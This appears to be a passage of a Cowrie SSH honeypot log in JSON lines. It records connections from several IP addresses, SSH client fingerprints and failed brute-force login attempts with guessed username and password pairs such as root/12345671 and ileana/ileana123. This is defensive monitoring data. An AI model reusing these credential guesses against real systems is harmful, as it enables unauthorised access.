{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:29.001123Z","src_ip":"103.118.29.129","session":"332750a5fe22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:29.985826Z","src_ip":"103.118.29.129","session":"332750a5fe22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:31.227000Z","src_ip":"103.118.29.129","session":"332750a5fe22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":39856,"dst_ip":"10.17.0.5","dst_port":22,"session":"694cfc64c91b","protocol":"ssh","message":"New connection: 45.137.172.116:39856 (10.17.0.5:22) [session: 694cfc64c91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:35.272075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:35.277260Z","src_ip":"45.137.172.116","session":"694cfc64c91b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:35.373633Z","src_ip":"45.137.172.116","session":"694cfc64c91b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Azure","password":"YuLiShoping123...","message":"login attempt [Azure/YuLiShoping123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:35.790864Z","src_ip":"45.137.172.116","session":"694cfc64c91b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:36.891228Z","src_ip":"45.137.172.116","session":"694cfc64c91b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":35952,"dst_ip":"10.17.0.5","dst_port":22,"session":"0640f3920cb7","protocol":"ssh","message":"New connection: 200.39.46.41:35952 (10.17.0.5:22) [session: 0640f3920cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:42.102691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:42.107649Z","src_ip":"200.39.46.41","session":"0640f3920cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:42.249202Z","src_ip":"200.39.46.41","session":"0640f3920cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345671","message":"login attempt [root/12345671] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:42.858321Z","src_ip":"200.39.46.41","session":"0640f3920cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:44.002817Z","src_ip":"200.39.46.41","session":"0640f3920cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":38354,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bc26b67509d","protocol":"ssh","message":"New connection: 213.209.159.56:38354 (10.17.0.5:22) [session: 4bc26b67509d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:03.813564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:03.818755Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:03.901182Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana","message":"login attempt [ileana/ileana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:04.303967Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana1","message":"login attempt [ileana/ileana1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:05.389724Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana123","message":"login attempt [ileana/ileana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:06.479305Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana1234","message":"login attempt [ileana/ileana1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:07.564509Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana12345","message":"login attempt [ileana/ileana12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:08.649597Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":44807,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5dcccf3eac","protocol":"ssh","message":"New connection: 136.232.11.10:44807 (10.17.0.5:22) [session: 2a5dcccf3eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:09.638983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:09.642995Z","src_ip":"136.232.11.10","session":"2a5dcccf3eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:09.734237Z","src_ip":"213.209.159.56","session":"4bc26b67509d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:09.862403Z","src_ip":"136.232.11.10","session":"2a5dcccf3eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:10.772892Z","src_ip":"136.232.11.10","session":"2a5dcccf3eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:11.999498Z","src_ip":"136.232.11.10","session":"2a5dcccf3eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":48440,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab28c2464c8","protocol":"ssh","message":"New connection: 202.51.214.99:48440 (10.17.0.5:22) [session: 7ab28c2464c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:13.798389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:13.806165Z","src_ip":"202.51.214.99","session":"7ab28c2464c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:14.052742Z","src_ip":"202.51.214.99","session":"7ab28c2464c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:15.074798Z","src_ip":"202.51.214.99","session":"7ab28c2464c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:16.324571Z","src_ip":"202.51.214.99","session":"7ab28c2464c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":47642,"dst_ip":"10.17.0.5","dst_port":22,"session":"701e72703dff","protocol":"ssh","message":"New connection: 69.48.205.231:47642 (10.17.0.5:22) [session: 701e72703dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:35.190570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:35.196033Z","src_ip":"69.48.205.231","session":"701e72703dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:35.238102Z","src_ip":"69.48.205.231","session":"701e72703dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manchester1","message":"login attempt [root/manchester1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:35.435779Z","src_ip":"69.48.205.231","session":"701e72703dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:36.480397Z","src_ip":"69.48.205.231","session":"701e72703dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":41032,"dst_ip":"10.17.0.5","dst_port":22,"session":"125d7c353a33","protocol":"ssh","message":"New connection: 45.137.172.116:41032 (10.17.0.5:22) [session: 125d7c353a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:42.050640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:42.054727Z","src_ip":"45.137.172.116","session":"125d7c353a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:42.154838Z","src_ip":"45.137.172.116","session":"125d7c353a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapadmin","password":"mapadmin@123","message":"login attempt [mapadmin/mapadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:42.574477Z","src_ip":"45.137.172.116","session":"125d7c353a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:43.682088Z","src_ip":"45.137.172.116","session":"125d7c353a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":50970,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3456c16705","protocol":"ssh","message":"New connection: 103.118.29.129:50970 (10.17.0.5:22) [session: fc3456c16705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:58.153040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:58.158122Z","src_ip":"103.118.29.129","session":"fc3456c16705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-